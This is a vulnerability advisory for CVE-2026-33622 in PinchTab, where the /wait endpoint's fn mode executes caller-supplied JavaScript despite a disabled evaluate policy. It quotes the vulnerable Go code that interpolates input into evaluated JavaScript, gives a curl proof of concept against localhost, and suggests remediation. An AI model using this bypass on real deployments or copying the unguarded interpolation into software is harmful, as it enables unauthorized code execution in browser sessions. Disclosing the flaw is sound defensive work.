CVE-2026-33622: A PinchTab Security Policy Bypass in /wait Allows Arbitrary JavaScript Execution
Summary PinchTab v0.8.3 through v0.8.5 allow arbitrary JavaScript execution through POST /wait and POST /tabs/{id}/wait when the request uses fn mode, even if security.allowEvaluate is disabled. POST /evaluate correctly enforces the security.allowEvaluate guard, which is disabled by default.
Published Mar 24, 2026 · Updated Mar 27, 2026
Affected packages
github.com/pinchtab/pinchtab/cmd/pinchtab
- Ecosystem
- Go
- Affected
- >= 0.8.3, <= 0.8.5
- Fixed in
- No patched version yet
- Check
go list -m github.com/pinchtab/pinchtab/cmd/pinchtab
github.com/pinchtab/pinchtab
- Ecosystem
- Go
- Affected
- >= 0.8.3
- Fixed in
- No patched version yet
- Check
go list -m github.com/pinchtab/pinchtab
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
PinchTab v0.8.3 through v0.8.5 allow arbitrary JavaScript execution through POST /wait and POST /tabs/{id}/wait when the request uses fn mode, even if security.allowEvaluate is disabled.
POST /evaluate correctly enforces the security.allowEvaluate guard, which is disabled by default. However, in the affected releases, POST /wait accepted a user-controlled fn expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy.
This is a security-policy bypass rather than a separate authentication bypass. Exploitation still requires authenticated API access, but a caller with the server token can execute arbitrary JavaScript in a tab context even when the operator explicitly disabled JavaScript evaluation.
The current worktree fixes this by applying the same policy boundary to fn mode in /wait that already exists on /evaluate, while preserving the non-code wait modes.
Details
Issue 1 — `/evaluate` enforced the guard, `/wait` did not (`v0.8.3` through `v0.8.5`): The dedicated evaluate endpoint rejected requests when security.allowEvaluate was disabled:
// internal/handlers/evaluate.go — v0.8.5
func (h *Handlers) evaluateEnabled() bool {
return h != nil && h.Config != nil && h.Config.AllowEvaluate
}
func (h *Handlers) HandleEvaluate(w http.ResponseWriter, r *http.Request) {
if !h.evaluateEnabled() {
httpx.ErrorCode(w, 403, "evaluate_disabled", httpx.DisabledEndpointMessage("evaluate", "security.allowEvaluate"), false, map[string]any{
"setting": "security.allowEvaluate",
})
return
}
// ...
}In the same releases, /wait did not apply that guard before evaluating fn:
// internal/handlers/wait.go — v0.8.5 (vulnerable)
func (h *Handlers) handleWaitCore(w http.ResponseWriter, r *http.Request, req waitRequest) {
mode := req.mode()
if mode == "" {
httpx.Error(w, 400, fmt.Errorf("one of selector, text, url, load, fn, or ms is required"))
return
}
// No evaluateEnabled() check here in affected releases
// ...
}Issue 2 — `fn` mode evaluated caller-supplied JavaScript directly: The fn branch built executable JavaScript from the request field and passed it to chromedp.Evaluate:
// internal/handlers/wait.go — v0.8.5 (vulnerable)
case "fn":
js = fmt.Sprintf(`!!(function(){try{return %s}catch(e){return false}})()`, req.Fn)
matchLabel = "fn"
// Poll loop
evalErr := chromedp.Run(tCtx, chromedp.Evaluate(js, &result))Because req.Fn was interpolated directly into evaluated JavaScript, a caller could supply expressions with side effects, not just passive predicates.
Issue 3 — Current worktree contains an unreleased fix: The current worktree closes this gap by making fn mode in /wait respect the same security.allowEvaluate policy boundary that /evaluate already enforced. The underlying non-code wait modes remain available.
PoC
Prerequisites
- PinchTab
v0.8.3,v0.8.4, orv0.8.5 - A configured API token
security.allowEvaluate = false- A reachable tab context, created by the caller or already present
Step 1 — Confirm `/evaluate` is blocked by policy
curl -s -X POST http://localhost:9867/evaluate \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{"expression":"1+1"}'Expected:
{
"code": "evaluate_disabled"
}Step 2 — Open a tab
curl -s -X POST http://localhost:9867/navigate \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{"url":"https://example.com"}'Example result:
{
"tabId": "<TAB_ID>",
"title": "Example Domain",
"url": "https://example.com/"
}Step 3 — Execute JavaScript through `/wait` using `fn` mode
curl -s -X POST http://localhost:9867/wait \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"tabId":"<TAB_ID>",
"fn":"(function(){window._poc_executed=true;return true})()",
"timeout":5000
}'Example result:
{
"waited": true,
"elapsed": 1,
"match": "fn"
}Step 4 — Verify the side effect
curl -s -X POST http://localhost:9867/wait \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"tabId":"<TAB_ID>",
"fn":"window._poc_executed === true",
"timeout":3000
}'Example result:
{
"waited": true,
"elapsed": 0,
"match": "fn"
}Observation
/evaluatereturnsevaluate_disabledwhensecurity.allowEvaluateis off./waitstill evaluates caller-supplied JavaScript throughfnmode in the affected releases.- The first
/waitrequest introduces a side effect in page state. - The second
/waitrequest confirms that the side effect occurred, demonstrating arbitrary JavaScript execution despite the disabled evaluate policy.
Impact
- Bypass of the explicit
security.allowEvaluatecontrol inv0.8.3throughv0.8.5. - Arbitrary JavaScript execution in the reachable browser tab context for callers who already possess the server API token.
- Ability to read or modify page state and act within authenticated browser sessions available to that tab context.
- Inconsistent security boundaries between
/evaluateand/wait, making the configured execution policy unreliable. - This is not an unauthenticated issue. Practical risk depends on who can access the API and whether the deployment exposes tabs containing sensitive authenticated state.
Suggested Remediation
- Make
fnmode in/waitenforce the same policy check as/evaluate. - Keep non-code wait modes available when JavaScript evaluation is disabled.
- Add regression coverage so the policy boundary remains consistent across endpoints.
Credited to Yesuhei.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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